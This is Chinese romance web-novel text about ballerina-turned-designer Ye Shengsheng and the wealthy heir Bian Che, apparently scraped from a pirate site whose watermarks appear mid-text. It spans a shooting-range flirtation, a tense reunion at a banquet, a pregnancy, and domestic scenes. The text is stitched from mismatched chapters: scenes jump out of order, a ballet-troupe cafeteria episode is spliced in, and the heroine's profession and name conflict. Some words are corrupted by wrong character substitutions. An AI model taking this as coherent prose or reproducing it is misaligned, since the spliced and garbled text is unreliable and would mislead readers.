他的大腿用力,紧实灼烫的肌肉便变得明显,缓慢的在她臀.下滚动,这种异样的触感让人忽视,叶声笙自然也察觉到了。 放松的身体一点点僵直,叶声笙腰.腹用力,战战兢兢的悬起身体,远离这让人心慌意乱的密切接触。 本就通红的脸颊在他的注视下发热发烫,热意沿着纤细脖颈一路往下,羞窘的粉色蔓延,连小巧鼻尖都开始冒汗。 叶声笙觉得,自己现在,大概像极了被架上锅蒸的大虾。 进退维谷,坐立不安。 她那双一向清清冷冷的眉眼染上绯色,水意盈盈的杏瞳因为他而露出异样神采,雪白脸颊上云霞蕴蒸。 好像佛龛上的神女,走入凡尘,一下子就鲜活了起来。 边澈不习惯有人在旁边,都是等弹夹空了,彻底尽兴后才让人来打扫,头一回碰到叶声笙这样的不速之客,的确忘了这一点。 她这话说得一语双关,红唇挽起清落的笑,意味明显,乌眸倒是显得无辜,好似说者无心,听者有心。 也不知道跟谁学的这些话。 边澈没有再深入往下想,情绪闪过一丝不耐。自从她出现之后,总能扰乱他自以为已然沉敛平静的心绪。他烦躁地用拇指压住枪柄。 叶声笙一手捂住胸口的位置,边弯腰去拾地面的子弹壳。 “呀——”她惊呼一声,匆忙抽回指尖,秀眉下意识蹙紧,想要后退,却不慎踩到了弹壳,身体霎时因为惯性向后仰倒。 边澈这次没有再作壁上观,沉着脸扶稳了她的腰。熟悉的香味再度缠上来,她几乎是以依偎的姿势,靠在他紧实有力的胸膛上。他身上的肌肉因她的贴近而绷紧、僵硬,一切变得不受控起来。 从他开口的那刻起。 叶声笙抻直了指尖,顶端缀着一抹花蕊般的红,同她白玉般的肌肤形成鲜明对比。 “这是……过敏吗?” 边澈平静道:“烫伤。” 叶声笙沉默片刻,贡献出了毕生的演技,“怎么会?” “刚出膛的弹壳温度极高,连发的情况下,最高能达到两百多度。” 边澈稍瞬一顿,乌暗的眸子擒住她,“别告诉我你连这点常识都不懂,就敢跟着庄缚青他妹妹四处鬼混。” “晗景的世界丰富多彩,什么都爱涉猎一点,活动邀请、派对party、户外运动哪一样都很吸引人,跟着她明明就是在拓宽眼界。” 叶声笙忍不住为庄晗景叫冤,要说鬼混,也是庄晗景被她带坏,无缘无故背这口黑锅,实在是让她良心过意不去。 她正欲展开辩驳,对上边澈那双泛着一点薄怒的凤眸,冷不丁地哑了声,话到嘴边悉数咽了回去。 “澈哥。”叶声笙注视着他的眼睛,“你这是对庄缚青有偏见。” 边澈那么敏锐,不会听不出这其中的绝妙。 差点忘了,庄缚青才是那场局的组织者,又是她闺蜜的亲哥哥,论亲疏远近,到底是比他这个‘朋友’更值得维护。 “我对他没偏见。”边澈眼底的黑仿佛能将她整个吸入其中,幽暗,深冷,探不到底。 “对你有。”他冷漠地补充。 平白被骂了一通。 叶声笙倒也没受挫,反倒觉察出逗他生气的乐趣,扬唇道: “可是偏见就是用来打破的,既然我们都已经是朋友了,澈哥难道不应该试着对我改观吗?” 边澈松开掌锢她身体的手,将步枪扔回枪架上,抬眼扫过去,她立即作出几分乖巧的模样,眼里却酝出几分狡黠,他隐约觉得自己被摆了一道。 “你跟安保也是这么说的,对吗。”边澈微顿,“朋友。” “澈哥包了场,他们恪尽职守,当然不会放陌生人进来叨扰。”叶声笙说,“澈哥的朋友除外。” 边澈没有责怪她打探自己的行程,也没有斥责她自作主张地溜进来,只轻讽似的评价:“投机取巧。” 何止投机取巧,她还近水楼台,从他兄弟那抄近道呢。 这些话叶声笙可不敢当着他的面说,她眸光一转,“如果我没记错的话,上次通话前,澈哥亲口答应了,要跟我做朋友。” 边澈抬起半边眉梢,似是想看看她能编出什么花来。 “你说,我知道了,叶小姐。” “我说的并不是指这件事。”边澈极有耐心的纠正。 叶声笙没有张冠李戴被拆穿后的心虚,思忖片刻后,面上多了几分领悟般的恍然,似笑非笑地望着他。 二选一之下的答案显而易见。 不是默笙同她做朋友。 那就是默笙了关于称谓的回答。 她步步越界,跟着那群发小一起叫他澈哥,也就意味着,他亦可以迈出这一步,唤她阿声。 亲昵的称呼,意味不明的朋友。 边澈周身的气压莫名有些低,不愿再同她玩这种无聊幼声的文字游戏。他绕过她,径直往固定靶场的方向走。纯黑休闲裤束脚扎进软皮长筒靴里,将他本就绝佳的身形比例勾勒得愈发禁欲矜贵。 纵然不知道哪句话惹了他,叶声笙倒是觉得,高高在上的太子爷似乎也有冷脸洗内裤的潜质——路过她身侧之际,碍眼的子弹壳都被散漫的步伐踢开,给她划了一条干净的道来。 完完整整地想起这段往事的时候,饭局已经接近尾声,晚上十点的Roff门口,几人在互相道别。 夜风吹得丝丝凉,郑德文插着兜跟她打招呼:“好久不见。” 他其实很有分寸,没在刚刚的场合叙旧。 叶声笙其实对他是有愧疚的,当时为了转移段莉莉身上的消息,她也算间接利用了他,但这种情绪并没有在脸上表现,露出得体的八齿笑:“你变得更帅了,我差点没认出来。” 郑德文扶额:“你就别拿我开玩笑了。” 两人不轻不重地聊了几句,他掏出手机:“加一个联系方式吧,上次我们回学校,邓老师还念叨你。” 叶声笙笑:“好。” 正说着,一道车灯扫过,路口突然传来跑车的轰鸣声,付芷橙说了句以“C”开头的脏话:“怎么这么快?” 驾驶位上的人扶着方向盘,车窗全靠,骨节分明的手腕搭在车窗上,手臂上的筋脉遒劲有力。 轮胎与地面摩擦出一阵刺耳的刹车声,边澈的头从主驾的位置上完全露出,他慢悠悠地打开车门,倾身下车,缓慢朝两人走。 奇怪,刚刚刹车那么急,这会儿走得倒是慢得很,叶声笙在无人关注的角落偷偷翻了个白眼。 边澈跟其他人递了个眼神就算是打过招呼了,最后一双长腿伫在她面前,抿唇的弧度带着点儿魅惑的味道。 “老婆,我来接你回家。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【全文完结】 第77章 形形色色的目光在叶声笙身上流连。 她觉得自己成了砧板上的货物,被人肆意打量,似乎在估算她这一身皮肉,能为摇摇欲坠的叶家换来碎银几两。 实际上也确实如此。 她确实是来给自己找一个合适买主的。 嘈杂的议论不讲道理的钻进叶声笙的耳朵里,她强忍着羞耻,掐着掌心死死的站在原地,默不作声的将手中的名帖递给门口的侍应生。 她能听到那些人的话,侍应生自然也能。 但他只是礼貌的朝叶声笙笑笑,轻声向她确认,“叶小姐,来找二少爷的吗?” 他没说是哪家二少爷,但圈子里的所有人都知道,现在的京市,只有那一个二少爷。 也是亲生父母千挑万选为她找来的“临时交往对象”。 叶声笙微不可见的点头。“叶小姐,这种服务态度,可算不上好。” 他的话并不如何疾言厉色,语气也是难得的柔和,但叶声笙却知道,自己是犯了大忌。 从小,叶声笙就很清楚,叶家在京市这种地方,实在算不上什么豪门,费尽全力,也至多挤进三流圈子。 但一心想要结交顶层圈子的魏岚却不甘心于此。 她不知道从哪里学了一身不伦不类的“豪门风范”,一有机会,就带着叶声笙在外交际,想要借着女儿芭蕾舞天才少女的光环,结识一些“大人物”。 为了防止叶声笙没眼力见儿的犯错,魏岚常常对她耳提面命,曾经多次强调过“我们这样的人家,可从来不会对那些底层人发脾气,没那个必要。” 对这些话,叶声笙常常报以沉默。 但当看到魏岚皱着眉头,不满的挑剔服务员时,叶声笙却忍不住想笑。 但今天,叶声笙总算真切的明白了,魏岚说的没有错。 她也确实不应该笑。 当处在“服务员”那个角色时,上位者轻描淡写的一句话,都会让人紧张到发抖。 仰人鼻息,自然胆战心惊。 叶声笙藏在身后的手指无意识的揪着身下柔软床单,指尖用力到泛白,也只能在黑色丝棉上留下一道惨淡折痕,空茫茫的激不起半分尘埃。 发现自己手里什么也没有的人,居然奇迹般的什么也不怕了。 浓密眼睫抬起,叶声笙今夜第一次避也不避的仔细打量起边澈如今的样子。 他现在,和七年前,天差地别。 本就极高的身量蜕去少年时残留的消瘦和单薄,筋骨坚实,肩宽背阔,浑身肌肉并不过分夸张,但却透着一股精雕细琢,显然平时有专业人士量身规划,才能锻炼出这样毫厘不差的力与美。 骨相完美的脸上,一笔一划的线条更加深刻利落,浓而黑长的眉毛锋锐不减,一双因轻微遮瞳总是透着懒散厌倦的睡凤眼此刻正饶有兴味的俯视着她,连唇角挂着的笑,都因为气质的迥异而显得份量十足。 如果不是左侧轩挺眉骨上那一小块疤痕,还算得上陈旧时光遗留下的证据,叶声笙几乎会怀疑自己其实认错了人。 改变记忆中那个少年的,除了五年远隔重洋的时间,还有遥不可及的权势和地位。 现在的边澈,让叶声笙陌生。 但眼前这个陌生的旧人,却是现在的她能抓住的救命稻草。 叶声笙长睫颤动,在边澈以为那双澄澈清莹的眼又要泛红落泪的时候,她突然直起身体,以一种堪称勇莽的姿势,撞上了他的唇。 胜券在握、游刃有余的强大猎人 侍应生眼底带上了一丝了然,客气又熟练的带她穿过议论纷纷的人群,朝大厅的中心走去。 “叶小姐,在见到二少爷之前,有几句话要交代您,二少爷人很好,但是不喜欢人穿白裙子,也讨厌看到盘发,更不喜欢跳芭蕾的女孩子…” 说到这里,侍应生看向叶声笙的眼神几乎已经是同情了,“您看您…” 因为“边”这个熟悉又陌生的姓氏,想起一些不愉快往事的叶声笙听到他的提醒,有些窘迫的停下胡思乱想,低头看了眼自己的穿着打扮,犯了难。 前段时间父亲住院,母亲多方活动周旋都无所获,就在一筹莫展的时候,这张救命的名帖突然被人送到叶家,父母狂喜之下,也曾尽力打听过边二少爷的为人喜好。 但不知道什么原因,明明是一件很容易的事,但叶家能搭上的所有人脉,却都对这位二少爷的喜好讳莫如深,摆摆手让他们自己琢磨琢磨。 最后他们没有办法,只能选了最衬叶声笙的穿着打扮。 不巧,正是一袭经典白裙,搭配简单盘发。又看了几个姑娘自己录的练舞视频,仔细的指出她们暴露出的小问题后,就到了食堂。 华音的食堂不算很大,建的却很漂亮,提供的三餐也多样,在保证热量的情况下,同时照顾到了味蕾,水平在国内的芭蕾舞圈子里,都算得上出名。 让想起英皇食堂做饭水平的叶声笙胃口大开,打了满满一盘。 只是当看到坐在她面前的那些女生的菜量时,她却忍不住皱了皱眉。 “你们怎么吃这么少?是没胃口吗?” 对面坐着的就是被推出来发言的女生,叫文嘉,看的出来是这一批女生里领头的那个,听见她的疑惑,文嘉大大的叹了一口气,捂着肚子哀嚎道 “怎么可能啊声笙小姐!这么点菜,都不够我们家猫吃的,每天吃这么点儿,我都要饿死了!” 她这么一说,叶声笙更疑惑了。 原本看她格外窈窕,叶声笙还以为她天生身体条件就是这样,毕竟叶声笙自己,就长了一副较常人更加纤长的骨架,在她的概念里,这样的身形实在不足为奇。 不过听她们的意思,却好像都是节食饿出来的? 叶声笙停下进食,一脸严肃的观察了一遍食堂里所有人的餐盘,惊讶的发现,竟然每一个都吃的很少。 “你们这样不行的,跳芭蕾需要合格的肌肉量才能完成的轻灵又漂亮,不吃东澈光靠瘦,力量不足,怎么可能做出好看的动作呢?” 周围的女生愣了,脸上表情都有些尴尬。 她们未必是每个都愿意节食,只是整个圈子风气和审美如此,她们也不得不跟着卷体重。 听见叶声笙这么直白的话,心里都挺难受的。 “可是声笙小姐,不节食的话,就会胖”有人小声的抱怨了一句,“胖了的话,老师会骂,那才是天都塌了。” 相比起来,饿肚子倒显得无关紧要了。 叶声笙叹了口气,想了想,还是觉得不能不管,“这样吧,你们先吃,等我去找封团长问过再说。” 封晓颖正好也在找叶声笙,一见到她,就关心起她第一天上班的感受。 两个人边走边聊,说了一下后续围绕叶声笙组建的小组和排练计划,又去看了一遍最近准备演出的《小美人鱼》排练,叶声笙才和封晓颖聊起中午食堂听到的事。 对此,封晓颖也很无奈。 见她脸上讳莫如深的表情,叶声笙顿了顿,柔声提出自己的想法。 “封团长,如果不方便改变全团的话,我希望我的剧目里,演员能听我的。” 不管怎样,先保证她带的小组不出现力量不足这种问题再说。 封晓颖自然没有异议,这件事就这么敲定了。 之后她就将团里即将由叶声笙带队,排练新剧目这一消息通知了出去,叶声笙也跟着忙碌起来。 等拟订好选拔演员标准,天色已经深黑。 专属的办公室里亮着灯,将空旷的屋子填满,难得的没人来打扰,叶声笙望着窗外,有一瞬的恍惚。 这个地方的生活,和在伦敦时一点不像。 安静的办公室突然响起一阵熟悉的手机铃声,看见屏幕上熟悉的名字,叶声笙搭在文件上的指尖颤了颤,之后下意识的将手机屏幕扣在文件下面。 但随着时间一分一秒的过去,她想起昨天林雾宜的提醒。 “有时间的话,还是回一下宁言熙的消息吧” 心底一抽一抽的,有些痛。 叶声笙闭上眼,几秒钟后,还是伸手将手机拿了回来。 更不巧的是,叶声笙还是一位新近在国内外声名鹊起的芭蕾舞伶娜。 虽然这个突然得知的消息,让父母的打算还没开始就面临失败,但面对这种对原计划来说坏到不能再坏的情况,叶声笙却露出了今晚的第一个笑容。 这位未曾谋面的二少爷,让她想起一位截然相反的故人。 哪怕二少爷的姓熟悉到,只是听到,都会让她觉得疼痛的地步,但在这个频繁提到他的场合,在即将亲手打碎自己所有尊严的前夕,叶声笙却开始近似自虐般,放纵自己去回忆少年时那个人。 那个人说过,最喜欢她穿着白色的芭蕾裙,盘着头发露出纤细好看的肩颈,在舞台上跳跃的样子。 他说他不会形容,只觉得她像骄傲洁白的天鹅,让人只想将她捧在手心,不让她落入凡尘,沾染一丝尘埃,受半丝委屈。 然而那个人让她受尽了委屈,现在她也要自己跃进泥潭了。 对上侍应生不解的眼神,叶声笙又笑了笑,原本紧张僵直的手脚不着痕迹的放松下来,“没关系,麻烦您,还是带我去见二少爷吧。” 她穿了这么一身触霉头的装扮来,讨不到二少爷的欢心,那也是天意,不是她的过错。 至于叶家的未来如何… 叶声笙垂下眼睫,几不可闻的低笑出声。 不管什么结局,她都接受,并乐见其成。 她纤长的睫毛颤了颤,再次抬起头时,眼底的讥诮已经掩的一干二净,重新变成那个清清冷冷的叶家小姐。 侍应生见她似乎坚持这个不太明智的想法,欲言又止的看了她一眼后,还是贯彻尊重客人的原则,恢复了沉默周到的模样,继续带着叶声笙穿过人群往前走。 那些让叶声笙觉得难堪的目光依旧在评估着她,但决定将结果交给命运后,叶声笙整个人都松弛下来,反而能将自己放在一个看客的位置,从这场还没开始就结束的闹剧中抽离出来,甚至开始好奇起那位传说中的边二少爷来。 也不知道他究竟是一个多好骗的花花公子,才会让爸妈生出这样不切实际的可笑幻想… 她的思绪不着边际的乱跑,乱七八糟的想着一些有的没得,直到侍应生停下脚步,她毫无防备的跟着抬起头 当看见宴会厅正中,一身剪裁精致的黑色手工澈服,支着长腿漫不经心坐在沙发上的矜贵男人时,叶声笙唇角完美敷衍的笑瞬间僵在了脸上 这一刻,她几乎以为是自己太过紧张,发了癔症,产生了可怜的幻觉。 如果不是幻觉,那为什么刚刚才想起过的昔日旧人,会以这样全然不同的姿态,出现在这个他绝不应该出现的场合? 乐队不知什么时候换了曲子,急促的小提琴独奏快到让心跳不自觉狂奔着追赶,却只能逐渐被落下,乐声远去,原地只留下一颗恐慌的心脏,砰砰乱跳的停不下来。 叶声笙张了张嘴,想好的开场白卡在喉咙里,努力尝试仍然说不出来。 她脑袋发懵,第六感发出尖锐的警报,全身上下每个细胞都在叫嚣着快逃!快逃! 她不要在这个场合见到他!她不想在这个场合见到他! 但原本能跳出完美32周挥鞭转的修长双腿却像是突然害了病,全然不顾主人的想法,只会跟着侍应生的脚步机械迈动,直到将木僵的她送到那个众星捧声却一脸百无聊赖的男人面前。 一时之间,谁也没有说话。 所有人都在等着,想看看这个明目张胆犯二少爷忌讳的女人,会有什么凄惨下场。 叶声笙也在等。 她在等他从这场极刑般的幻觉里消失,或者自己干脆利落的晕过去。 但今晚幸运之神抛弃了她,或者说,至始至终,幸运之神都不曾眷顾过她。 尽管全身都在不受控制的颤抖,尽管尝试着闭上眼睛,但当再次睁眼时,那个人也依旧坐在那里,甚至连姿势都不曾变换过。 虽然他看起来陌生到让她心惊肉跳,但那双桀骜不羁的眼睛曾在过去六年中无数次的闯进她的梦里,连左侧英挺眉骨上那条突兀的疤痕,都和记忆里一模一样。 似乎是觉得她徒劳的挣扎可笑,那人漫不经心的瞥了她一眼后,发出了一声嗤笑,极轻,却精准的灌进叶声笙的耳朵,在她的耳道中、鼓膜上肆虐,发出雷鸣一样的回响。 是他! 边家二少爷! 他就是给了她名帖的人! 她今晚要见的人竟然是他! 叶声笙惨白着脸,打了个寒战后,猛然清醒了过来。 她咬着唇,一声不吭的转身要走,却被人扯住手腕,一把拽进怀里。 那道曾经熟悉到不能再熟悉的声音带上了陌生的戏谑,在众人不可置信的目光中,像终于捉住老鼠的猫般,慢条斯理的问她 “叶小姐?不是听说你要来勾引我?怎么刚来就要走了?” 她凝着眉:“怀孕?” 边澈接过检查报告,那些字像天书一样在眼前盘旋,明明每个字都认识,但就是有种宿醉的感觉。 叶声笙补充:“我今早还来了姨妈?” 医生安抚道:“孕早期会有轻微的流血,我刚刚已经给您检查过了,没有流产的迹象,放心吧。” 最后在一片恭喜中,两个迷茫的新手爸妈踏上了回家路。 晚上十点的京市,路上车流通畅。 还是那辆柯尼塞格,龟速前行,身后时不时传来刺耳的车鸣,最后实在不满地换车道,降下车窗朝他们的方向叫嚣:“胆子这么小,开什么跑车。” 两个人充耳不闻,也没有说话,各想各的心事。 等叶声笙终于从神思游离中缓过神来,发现自己正身处一个死胡同中,导航的女声一直重复:“请在前方自行。” 一个京圈翻云覆雨的人物,竟然连路都不认识了。 她从来没见过边澈这么狼狈的样子,唇角一寸寸勾起:“就你这种方向感,有资格做宝宝的爸爸吗?要不然他出生先喊你叔叔得了。” 如果未来的日子里是他,那么她愿意—— 永远困在这样一方小小的天地。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 78、第78章 夜晚给世界涂上暗色,京市一个不知名的胡同里,两个新手爸妈鬼使神差地困在这里。 夜风扑簌,车厢昏昧,他们静静地抱着,彼此呼吸交缠,心脏和脉搏的跳动也好像牵扯到了一起,用全新的身份拥抱彼此。 好久。 直到一道温柔的声响打破空寂,在静谧夜里格外清晰:“前方掉头,一百米后右转……” 犯病的导航终于恢复正常。 叶声笙埋在边澈胸口,憋着笑,最后实在憋不住,直接笑出声来:“我们两个好像神经病呀。” 她的脸本就巴掌大,澄澈的眼眸带着湿意,下巴尖尖的,裸粉色的皮草外面还披了条围巾,捂得不伦不类的,跟以往明艳的形象大相径庭。 看着就可怜。 也不知道边澈怎么就得出这样一个结论。 他弯低身,薄吻蜻蜓点水地落在她额顶,缓缓吐字:“我们回家。” 从胡同里出来,柯尼塞格径直往御龙湾开,路上车辆很少,边澈始终压着车速地开。这条回家的路,两人已经走过很多次了,因为多了一个小生命,夜晚的霓虹都变得不同。 光影折进车里,边澈打开暖气,轻声说:“冷吗?” 叶声笙的脸陷在明明暗暗的光影里,表情看不分明,但声音里披着笑意:"我都要热死了。" 车子拐进地下停车场,他没有关掉暖气,而是在熄火后,轻轻刮了下她的鼻子,语带威胁:“后让我听见那个不吉利的字,你就死定了。” 这简直是只许州官放火、不许百姓点灯。 她秀气地皱了皱鼻子,当场就不满意了:“你现在是双重标准,为什么不让我说,你自己可以说…唔…” 边澈解开安全带,斜着脑袋吻下去,把叶声笙的后半句一并吞下。 沁凉的唇渐渐变得滚烫,他认错态度良好:“我错了,我也改。” 话题戛然而止断在这里,边澈下车,从车头绕到副驾驶,躬身替她解开安全带,手臂熟练地穿过她的膝弯,毫不费力地把人抱了出来。 叶声笙双手攀着他的后颈,鼻音里哼出不满:"以前你都不抱我下车,现在我怀孕了就抱我下车,宝宝已经比我重要了。" 大帽子说扣就扣,一开口就是要气死人的节奏。 边澈早就习惯了她说风就是雨的性格,他脚下步子不停:“没有的事儿,我只抱我老婆,其他闲杂人等想都别想。” 她盯着他的脸,试图寻找撒谎的痕迹:“那以后宝宝出生了,也是我最重要吗?” “永远都是你最重要。” 边澈为了定她的心,故意情绪深沉地说:“我这人念旧,我们可是从小一起长大的青梅竹马,跟Ta才认识多久,生出来就一边玩去,别想破坏我们俩的感情。”说完还耐人寻味地朝把脸朝她凑了凑,等着小祖宗感动地奖励香吻。 叶声笙顺着他的话想象了一下画面,立马推开他的俊脸,杏眼圆瞪:“我辛辛苦苦给你生了孩子,你都不喜欢吗?” 边澈彻底被打败了,沙哑的嗓音埋在她的颈窝:“宝宝,你饶了我吧。” 还没到门前,大门就被人从内打开,保姆个个脸上带着笑意。家里即将迎来新生命的消息,她们也已经知道了。有人帮她脱掉高跟鞋,有人接过她的手包,每个人的动作都小心翼翼地,像是怕惊扰了她一样。"太太,这是家里新换的防滑拖鞋。"“楼上的洗澡水已经放好了,用了您最喜欢的玫瑰精油。”“厨房里的燕窝还是热的,您要不要吃一点。”“….…”这种万众瞩目的感觉,叶声笙过去很熟悉,不知怎的,今天却有点生理性地脸红。一定是孕激素在作怪,肚子里的小家伙太害羞了。她微微鼓着腮,嗔怒道:“你们都正常一点……”还没说完,客厅传出Moedel的叫声,它被圈在沙发上,尾巴摇得很急,咣咣咣地砸在娟姐身上,她快要拽不住它了。叶声笙看见了,在边澈怀里扭了几下:“放我下来。”边澈也担心Model冲过来撞到她,手臂的力道一点没松,低声哄:“你先上楼躺着,我一会带Model上去。”“我现在就要跟Model玩。”她秀眉蹙成一团,是真的不高兴了。边澈其实有很多话想说,但他不想在众人面前忤逆她,轻轻把人放在地上。“到姐姐这儿来。”像是终于刑满释放,Model撒欢一样地跑过来,身后响起边澈的呼吸声,叶声笙蹲身下去。Model就像什么都知道一样,在她脚边收了力,绕着她兴奋地转圈圈。她拍了拍它的脑袋:“今天去狗德学院上课了吗?”它呜呜地叫了两下,像是承受了莫大的委屈。叶声笙跟它玩了一会儿,吩咐娟姐:“不用拘着它,Model不会惹事的,国外的小孩都跟狗狗养在一起,你们不要过度紧张。”这话是对娟姐说的,也是对边澈说的。娟姐悬着的心终于安全降落,她原本担心叶声笙怀孕了,估计不能留Model住在这了。洗完澡重新躺到床上的时候,已经过了十二点。还是那种不受控的感觉。轻飘飘的,像躺在棉花上,游走在现实和梦境的边缘,她在身边人熟悉的气味里渐渐落地,好像这一刻才终于接受自己要成为一个妈妈了。“不要因为我怀孕了,你们就变得草木皆兵,我之后还是会正常去Stella Fantasy,而且你不要把Model送走,我们就当什么都没有发生,过以前一样的生活。”“嗯。”边澈没有正面回答,一个字也听不出什么情绪。叶声笙在他怀里仰头,不依不饶地要答案:“你到底有没有认真听呀?”“认真听了。”边澈的声音还有还有倦懒的哑,掌心一直僵硬地覆在她的小腹上,想摸又不敢的样子。叶声笙在黑暗里笑了一声:“你到底会不会社交?想跟ta打招呼就好好说呀。”“睡吧。”边澈的瞳孔在夜色里锁成一个很浓的点,但他不想给她窥探到自己软弱的一面,将她的声音再度缄吻。次日,叶声笙起床的时候已经临近中午。不知道是怀孕的缘故,还是胡思乱想,这一觉睡得极度混乱。她从枕下摸出手机,撂一眼时间,马上起床气发作,拨电话给边澈,劈头盖脸就是质问:“我今天去工作室还有事儿呢,你早上怎么不叫我起床?”边澈不可思议。他从办公椅走到落地窗前,听着软萌的声音,委婉提醒:“这也太冤枉了,我早上至少叫了你八次。”怎么可能?叶声笙揉着太阳穴回忆片刻,还是一点印象都没有,她拥着被子起床,头发乱蓬蓬的:“你竟然敢污蔑我,等着收我的律师函吧。”他故作恍然地笑:“又来律师函警告?”窗外视野开阔,阳光落在边澈脸上,暖融融的,一上午会议带来的疲惫全都消失了。“你少转移话题。”她吸着软底拖鞋下地,推开浴室的门,“没有证据,就是诽谤。”洗漱过后,叶声笙在餐桌上查看了边澈发来的证据,一段二十三秒的视频。俯视角度里,她像乌龟一样缩在枕头下面,完全不知道有人正在偷拍:“资本家宁可把牛奶倒进河里也不给穷人喝,我现在就是要把劳动烂在被窝里……”晃动的镜头里,有他的笑声:“我真的叫了,是你不起的。”因为毫无防备,所以视频的声音是外放的,保姆们陆续给她上菜,都听到了。当着这群真正劳动人民的面儿,叶声笙真的羞耻得想要烂回被窝里。边澈的视频通话掐着点儿地来,像在她身上装了摄像头,刚接通就是一句令人发指的托词。“青天大老爷,看到证据了吧,我是冤枉的。”鹤顶红好像换了一种形态进入边澈的身体。叶声笙低着头,小口地喝着燕窝,不看镜头也知道那双眼肯定似笑非笑。不管怎么样,孕妇就是法官,她骄矜地开口:“那就治你一个监管不当的罪。” 怀孕的消息自然瞒不住两边的长辈,但因为没满三个月,所有人都很低调,没有大张旗鼓地来探望,只是一周总会让司机送上两三次补品过来。关于边澈的私生活,辛甘棠向来不插手,这次难得地把他叫回老宅,面对面地跟他交代。 “声笙怀孕了,工作室的事情就先放放吧,她那又是钻头又是电焊的,看着就危险。” 她手里还拿着叶声笙的验血单子,面色微凝:“产检要是没有时间,就给我打电话,孕妇的情绪很敏感,你这段时间别惹你老婆生气。” 边澈觉得挺新鲜的,辛甘棠这副紧张的样子,过去只在边江身上看到过。 他撇开头轻笑:“你不想让她去工作室,又让我别惹她生气,那我怎么开口?” 憋在家里没什么好处,叶声笙最近还是正常去工作室上班,只是调整了出行的作息,避开早晚高峰期。 她比谁都更爱惜肚子里的小宝宝,只跟设计师们开开会,或者在办公室里画画设计图,任何危险的事情都敬而远之。 辛甘棠这么多年来跟边澈对话,三句以内肯定会血压飙升,她到现在都摸不透小儿子阴晴不定的性格,只能揪着妇科检查报告上的诊断提出抗议:“轻微出血可不是闹着玩的,你们年轻人不懂,不要医生说没事儿就掉以轻心,想要工作最好也等满了三个月再说。" 话绕回来,辛甘棠还是希望叶声笙能减少工作,留在家里保胎。 边澈是恒壹集团的继承人,他的孩子自然是重中之重。 只是这份慎重之中到底包含了多少祖孙血脉之情,他不清楚,但边澈已经过了想要揣测母亲心理,争夺关注度的年纪了。安静了一会儿,他突然就笑了,故意避重就轻地回:“妈,我是妻管严,说话不一定好用。” 所以这事儿,还得求助岳父大人。 叶声笙怀孕当天,他就给叶淮生打了电话。 尽管叶淮生之前已经说过之前的约定不作数,但得知捧在手心的小公主怀孕,忧虑还是多于喜悦的。 电话那端的他当时整整沉默了三分钟,最后开口的时候,声音里还带着理不清的情绪。 他压着气说:“边澈,我的女儿交给你了,她就是掉了一根儿头发丝,我都不会放过你。” 79、第79章 秋天傍晚的阳光是金橘色的,落地窗前树影斑驳。 Stella Fantasy二楼办公室,茶几上养生壶水汽滋滋作响,玫瑰香气氤氲在空气中。 叶声笙在沙发上半盘着膝盖,手里捏着骨瓷茶杯,慢慢地喝玫瑰花茶。 lpad放在一旁,屏幕上一款宋代风格的荔枝纹耳饰。 之前跟博物馆合作的饰品有几处细节要修改,因为之前都是她跟对方馆长直接沟通的,所以无法假手他人。 Bella坐在她的办公椅上发邮件,眉心凝着,指腹在键盘上敲敲停停。 叶声笙盯着她看了一会儿,说:“直接拒绝就行了。” Bella视线始终在屏幕上,嘴角撇了撇:“你都不知道那群PR有多八卦,你突然把所有的活动都推了,她们肯定要在背后乱猜。” 圈内的名媛们和品牌方会定期给她发邀请函,去参加一些高奢的品牌活动,高跟鞋自然是不能穿的,穿平底鞋出席又会让她们妄加揣测,索性就全都推拒了。 她怀孕的事情暂时没打算公开,整个工作室就只有Bella是知情人,日常需要电脑处理的工作,现在也都由Bell代劳。 因为一颗小小的胚胎,叶声笙的身体发生了翻天覆地的变化。 生命真的很神奇,明明还没有一颗小米粒大,却让她产生了那么多不适的症状—— 腰酸、腿肿、嗜睡、食欲不振、做什么事情都觉得精力不济。 边澈心疼她,自信满满地说要照顾她的饮食起居,还找了营养师咨询孕妇煲汤知识,结果害她下巴冒了一颗痘痘。叶声笙立马剥夺了他进厨房的资格,还把他打入冷宫三天,直到他带着诚意满满的佳士得粉钻和昭然若揭的黑眼圈,才得以复宠。 想想还是有点生气,她都好多年没有长过痘痘了,捞过手机给他发了一个表情包:「指指点点你是怎么敢的啊jpg」 夫款码:「?」 他压根想不到事情都过去了好几天,老婆还在记仇。 一秒不到的时间,第二条消息又来。 夫款码:「宝宝,晚上有应酬,早点睡别等我」 屏幕上的消息映进眼睛,拇指在键盘上盘旋了几下,叶声笙回了个"ok"的手势,为了让自己显得不那么高兴,她还补了一句:【超过十点,就去客房睡】 夫款码:「听老婆话会发达jpgl 这下整个人都来劲儿了,腰也不酸腿也不疼了,怀孕后被边澈拘着,她已经好久没有社交了。 叶声笙马上站起来给「不聊就互(3)」小群发消息:「姐妹们,晚上出来吃饭呀」 三秒后是石半蕾的一条语音消息:「宝宝,你是不是忘了,现在是《洛神》的宣传期,我最近都加班到一点……虽然我不想提,但还是委婉地提醒一下,造成我最近这么忙的事件是,首映礼上你对着梁煜吐了…」 那是她人生排名前二的社死事件。 叶声笙带着情绪打字:「不聊了,我去办理移民火星的护照了」 石半蕾:「好的呀」 真的是,一点儿都不知道给孕妇降火。 幸好,她吸一口气的工夫,付芷橙冒泡了:「报名!」 餐厅在酒店顶层,京市的灯火纵横交错在脚下,夜景很美。 在选餐厅这点上,永远可以相信付芷橙的品位。 她是名媛圈里的另类老饕,不管是食材珍贵的米其林餐厅,还是风味独特的苍蝇小馆,京市大街小巷的美食,都逃不出她的魔爪。 跟叶声笙吃饭,付芷橙一定会选私密性良好的高级餐厅,因为这位大小姐不是一般的挑剔。 不过,尽管有了心理准备,听到她跟侍应生交代的忌口事项后,付芷橙还是原地石化了。 叶声笙最近饮食清淡得像在斋戒,好不容出来吃饭,自然是把想吃的都点了。 她单手托腮,指腹在电子菜牌上轻轻划过,红唇缓缓吐字:“茶水换成温水,前菜里的帕尔马干酪冰激凌不要,主菜里的鳟鱼籽换成黑松露,松叶蟹换成黑虎虾,甜点里不要放利口酒……” 这些还算正常,然后…… “菜里有葱花的,麻烦上菜前帮我挑出去,鱼汤一定要去腥,让你们厨师长确认后再端上来,我不能吃辣,摆盘的装饰不要百里香,如果 可以的话,麻烦帮我换成薄荷叶,另外把桌上的玫瑰花撤了,帮我换成仿真花……” 叶声笙把菜牌还给侍应生,唇角微翘:“大概就这样,等会儿我想到什么,再跟你补充。” 还,就这样? 